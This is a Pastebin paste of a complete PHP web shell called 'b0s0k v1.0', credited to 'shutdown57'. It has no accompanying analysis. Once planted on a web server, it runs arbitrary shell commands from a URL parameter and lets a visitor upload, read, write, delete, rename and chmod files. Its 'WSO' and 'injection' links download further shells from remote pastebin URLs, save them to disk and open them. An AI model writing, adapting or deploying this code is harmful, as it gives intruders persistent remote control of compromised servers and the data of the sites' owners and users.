Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- @error_reporting(0);
- @set_time_limit(0);
- echo"
- <html>
- <head>
- <title>b0s0k v1.0</title>
- </head>
- <body bgcolor=\"#708090\">
- <table border=\"1\" width=\"100%\" height=\"100%\">
- <tr>
- <td width=\"300px\" height=\"100px\">
- <table><tr><td width=300>
- <img src=\"http://sman24kabtangerang.sch.id/file/bosok.png\" width=\"200\" height=\"200\">
- </pre></td></tr></table>
- </td>";
- $path = $_POST['locup'];
- if(isset($_FILES['file'])){
- if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
- echo "<script>alert('Upload Done!')</script>";
- }else{
- echo "<script>alert('Upload Failed!')</script>";
- }
- }
- if(isset($_POST['snewd'])){
- if(mkdir($_POST['newd'])){
- echo"<script>alert('Done!')</script>";
- }else{
- echo"<script>alert('Failed!')</script>";
- }
- }
- if($_GET['sd']){
- $candir = $_POST['sd'];
- }
- echo"
- <td width=\"800px\" height=\"100px\">
- <font color=\"red\">b0s0k</font><font color=\"white\"> shell coded by : shutdown57</font>
- <table border=\"1\">
- <tr><td colspan=\"4\">
- <fieldset><legend>Upload Area</legend>
- <form enctype=\"multipart/form-data\" method=\"POST\">
- Upload File : <input type=\"file\" name=\"file\" />
- Location :<input type=\"text\" value=\"".getcwd()."\" name=\"locup\">
- <input type=\"submit\" value=\"upload\" />
- </form>
- </fieldset>
- </td></tr>
- <tr><td width=50%>
- <form method=\"post\">
- New dir :<input type=\"text\" value=\"".getcwd()."/NewDir\" name=\"newd\"><input type=\"submit\" value=\"==>\" name=\"snewd\">
- </form></td>";
- if(isset($_POST['snewd'])){
- if(mkdir($_POST['newd'])){
- echo"<script>alert('Done!')</script> ";
- }else{
- echo"<script>alert('Failed')</script>";
- }
- }
- echo"
- <td>
- <form method=\"post\">
- Delete dir :<input type=\"text\" value=\"".getcwd()."/dir\" name=\"deld\"><input type=\"submit\" value=\"==>\" name=\"sdeld\">
- </form>
- </td>
- </td></tr>";
- if(isset($_POST['sdeld'])){
- if(rmdir($_POST['deld'])){
- echo"<script>alert('Done!')</script>";
- }else{
- echo"<script>alert('Failed')</script>";
- }
- }
- echo"<tr>
- <td colspan=\"3\">
- <form method=\"get\">
- sc4nd1r :
- <input type=\"text\" value=\"".getcwd()."\" name=\"s57\" style=\"width:90%\"><input type=\"submit\" value=\"==>\"></td></tr><td colspan=\"3\">
- Current Path :";
- if(isset($_GET['s57'])){
- $path = $_GET['s57'];
- }else{
- $path = getcwd();
- }
- $path = str_replace('\\','/',$path);
- $paths = explode('/',$path);
- foreach($paths as $id=>$pat){
- if($pat == '' && $id == 0){
- $a = true;
- echo '<a href="?s57=/">/</a>';
- continue;
- }
- if($pat == '') continue;
- echo '<a href="?s57=';
- for($i=0;$i<=$id;$i++){
- echo "$paths[$i]";
- if($i != $id) echo "/";
- }
- echo '">'.$pat.'</a>/';
- }
- echo"</td><td><p style=\"transform:rotate(10deg)\">b0s0k v1.0</td></tr>
- </form></td></tr>
- </table>
- </td></tr>
- <tr>
- <td>
- <table border=\"1\">
- <tr><td>
- <a href=\"?shell=injection\">1n73ction</a>
- </td></tr>
- <tr><td>
- <a href=\"?shell=wso\">WSO</a></td></tr>
- <tr><td> <form method=\"get\">
- View file:<input type=\"text\" value=\"".getcwd()."/index.php\" name=\"vf\" style=\"margin-top:0;\"><input type=\"submit\" value=\"==>\" ></form></td></tr>
- <tr><td>
- command;<form method=\"get\">
- <input type=\"text\" value=\"uname\" name=\"cmdx\" style=\"margin-top:0;\"><input type=\"submit\" value=\"==>\" ></form></td></tr>
- <tr><td colspan=\"2\">
- <form method=\"post\">
- Delete file:<input type=\"text\" value=\"".getcwd()."/file.php\" name=\"delf\"><input type=\"submit\" value=\"==>\" name=\"sdelf\">
- </form>
- </td></tr>";
- if(isset($_POST['sdelf'])){
- if(unlink($_POST['delf'])){
- echo"<script>alert('Done!')</script>";
- }else{
- echo"<script>alert('Failed!')</script>";
- }
- }
- echo"<tr><td colspan=\"2\">
- <form method=\"post\">
- <textarea name=\"newf\" style=\"width:100%;height:170px;\">
- //New File Here
- </textarea>
- save as :<input type=\"text\" value=\"".getcwd()."/s57.php\" name=\"sf\" width=\"80%\">
- <input type=\"submit\" value=\"==>\" name=\"ssf\">
- </form>
- </td></tr>";
- if(isset($_POST['ssf'])){
- $fpx = fopen($_POST['sf'],"a+");
- if(fwrite($fpx,$_POST['newf'])){
- echo"<script>alert('Done!')</script>";
- }else{
- echo"<script>alert('Failed!')</script>";
- }
- fclose($fpx);
- }
- echo"
- <tr><td><fieldset> <legend>ChMod area</legend>
- <form method=\"post\">
- file :<input type=\"text\" name=\"fc\">
- Perms:<input type=\"text\" name=\"ch\"><br>
- <input type=\"submit\" value=\"Change\" name=\"sch\">
- </form>
- </fieldset>
- </td></tr>";
- if(isset($_POST['sch'])){
- if(chmod($_POST['fx'],$_POST['ch'])){
- echo"<script>alert('Done!')</script>";
- }else{
- echo"<script>alert('Failed')</script>";
- }
- }
- echo"
- <tr><td><fieldset><legend>ReName Area</legend>
- <form method=\"post\">
- Old :<input type=\"text\" name=\"old\">
- New :<input type=\"text\" name=\"new\"><br>
- <input type=\"submit\" value=\"Change\" name=\"srn\">
- </fieldset></form></td></tr>
- </table>";
- if(isset($_POST['srn'])){
- if(rename($_POST['old'],$_POST['new'])){
- echo"<script>alert('Done!')</script>";
- }else{
- echo"<script>alert('Failed!')</script>";
- }
- }
- echo"
- </td>
- <td width=\"80%\">
- ";
- if($_GET['vf']){
- echo"<pre>".htmlspecialchars(file_get_contents($_GET['vf']))."</pre>";
- }
- if($_GET['cmdx']){
- echo"<pre>"; if(shell_exec($_GET['cmdx'])){
- echo"root@b0s0k~#:".shell_exec($_GET['cmdx'])."";
- }else{
- echo"root@b0s0k~#:<font color='red'>".$_GET['cmdx'].";</font>Command Not Found!";
- }
- }
- if($_GET['shell'] =='wso'){
- $fpshell = fopen('wso.php','a+');
- $shell = file_get_contents('http://pastebin.com/raw/cuWAmsUE');
- if(fwrite($fpshell,$shell)){echo"<script>alert('Done!')</script>
- <iframe src=\"wso.php\" width=\"100%\" height=\"100%\"></iframe>
- ";}else{
- echo"<script>alert('Failed')</script>";
- }
- fclose($fpshell);
- }
- if($_GET['shell'] == 'injection'){
- $isib = file_get_contents("http://pastebin.com/raw/KXHAYEj7");
- $fpb = fopen('injek.php','a+');
- if(fwrite($fpb,$isib)){
- echo"<script>alert('Done!')</script>
- <iframe src='injek.php' width='100%' height='100%'></iframe>";
- }else{
- echo"<script>alert('Failed!')</script>";
- } }
- echo"</pre>
- <pre>
- ";
- if($_GET['s57']){
- print_r(scandir($_GET['s57']));}
- echo"
- </td>
- </tr></table>
- ";
- echo"<style type=\"text/css\">
- body{color:#000;}
- input[type=\"submit\"]{
- color:#eee;
- background:#789;
- border:1px outset #fff;
- }
- input[type=\"text\"]{
- color:#eee;
- background:#789;
- border:1px inset #fff;
- }
- textarea{
- color:#eee;
- background:#789;
- border:1px inset #fff;
- }
- a{color:#f00;border-bottom:1px inset #fff;}
- </style>
- ";
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement